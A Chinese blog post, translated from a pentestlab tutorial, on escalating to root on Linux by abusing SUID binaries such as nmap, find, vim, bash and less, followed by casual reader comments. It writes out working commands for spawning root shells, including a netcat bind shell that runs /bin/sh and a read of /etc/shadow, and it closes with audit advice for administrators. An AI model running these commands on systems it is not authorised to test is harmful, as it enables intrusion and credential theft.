最新文章:

首页 信息安全

Linux提权——利用可执行文件SUID

发布时间:2017年12月11日 评论数:11 阅读数:6444

    SUID

    SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性。

    但是,如果某些现有的二进制文件和实用程序具有SUID权限的话,就可以在执行时将权限提升为root。其中,大家熟知的具有提权功能的Linux可执行文件包括:


    1
    2
    3
    4
    5
    6
    7
    8
    Nmap
    Vim
    find
    Bash
    More
    Less
    Nano
    cp

    以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。


    1
    2
    3
    find / -user root -perm -4000 -print 2>/dev/null
    find / -perm -u=s -type f 2>/dev/null
    find / -user root -perm -4000 -exec ls -ldb {} \;
    1.png

    查找SUID可执行文件

    以上所有二进制文件都将以root用户权限来执行,因为它们的权限中包含“s”,并且它们的属主为root。


    1
    2
    ls -l /usr/bin/nmap
    -rwsr-xr-x 1 root root 780676 2008-04-08 10:04 /usr/bin/nmap
    2.png

    SUID可执行文件——Nmap


    Nmap

    较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。

    1
    nmap -V
    3.png

    识别Nmap的版本

    为了启动交互模式,可以使用Nmap参数“interactive”。

    4.png

    Nmap——交互模式

    以下命令将提供一个提权后的shell。


    1
    2
    3
    nmap> !sh
    sh-3.2# whoami
    root
    5.png

    通过Suid Nmap二进制文件获得Root Shell

    此外,还有一个Metasploit模块,也可以通过SUID Nmap二进制文件进行提权。


    1
    exploit/unix/local/setuid_nmap


    Find

    实用程序find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。


    1
    2
    touch pentestlab
    find pentestlab -exec whoami \;
    6.png

    Find执行命令的功能

    由于大多数Linux操作系统都安装了netcat,因此可以将提权后的命令提升为root shell。

    1
    find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;
    7.png

    通过Find运行Netcat

    连接到打开的端口就能得到一个root shell。


    1
    2
    3
    netcat 192.168.1.189 5555
    id
    cat /etc/shadow
    8.png

    通过Find取得Root Shell


    Vim

    Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。

    1
    vim.tiny /etc/shadow
    9.png

    Vim ——以root权限读取文件

    此外,我们还可以通过Vim运行shell来执行只有root才能完成的操作。


    1
    2
    3
    4
    vim.tiny
    # Press ESC key
    :set shell=/bin/sh
    :shell
    10.png

    Vim——Root Shell


    Bash

    以下命令将以root身份打开一个bash shell。


    1
    2
    3
    bash -p
    bash-3.2# id
    uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
    11.png

    Bash——Root Shell


    Less

    程序Less也可以执行提权后的shell。同样的方法也适用于其他许多命令。  


    1
    2
    less /etc/passwd
    !/bin/sh
    12.png

    Less——Root Shell


    结束语

    由于通过误设SUID的可执行文件可以轻而易举的实现提权,因此,管理员应仔细审查所有SUID二进制文件,看看到底是否真的需要使用提权后运行。在这个审查过程中,应该特别关注能够在系统上执行代码或写入数据的那些应用程序。

    本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
    原文链接:https://pentestlab.blog/2017/09/25/suid-executables/

    本文出处:http://bobao.360.cn/learning/detail/4512.html

二维码加载中...
本文作者:Mr.linus      文章标题: Linux提权——利用可执行文件SUID
本文地址:http://www.90qj.com/458.html  本文已经被百度收录,点击查看详情
版权声明:若无注明,本文皆为“挨踢 Blog”原创,转载请保留文章出处。
挤眼 亲亲 咆哮 开心 想想 可怜 糗大了 委屈 哈哈 小声点 右哼哼 左哼哼 疑问 坏笑 赚钱啦 悲伤 耍酷 勾引 厉害 握手 耶 嘻嘻 害羞 鼓掌 馋嘴 抓狂 抱抱 围观 威武 给力
提交评论

清空信息
关闭评论
耐火砖
耐火砖2018-02-27 09:28回复
#6
拜访博主,新年快乐
Mr.linus
Mr.linus2018-02-27 10:22回复
@耐火砖:谢谢!同乐同乐!
梁兴健
梁兴健2018-02-24 08:41回复
#5
网站风格有点黑暗挨踢博客
Mr.linus
Mr.linus2018-02-27 10:23回复
@梁兴健:哈哈,哪里黑暗了。
张先生
张先生2018-02-23 22:16回复
#4
你好e21222858578b5b99f19e86691c8c25b
钟水洲博客
钟水洲博客2018-02-07 22:00回复
#3
拜个早年
程序开发
程序开发2018-01-23 17:28回复
#2
发现这行的都不爱排版
跨境电商之家
跨境电商之家2018-02-05 16:29回复
@程序开发:不错,值得收藏分享!
钟水洲博客
钟水洲博客2017-12-19 13:18回复
#1
来踩一踩贵站!
Mr.linus
Mr.linus2017-12-21 09:31回复
@钟水洲博客:挨踢博客
JIUCAIJIUCAI
JIUCAIJIUCAI2018-01-02 14:17回复
@钟水洲博客:默默的学习怎么做。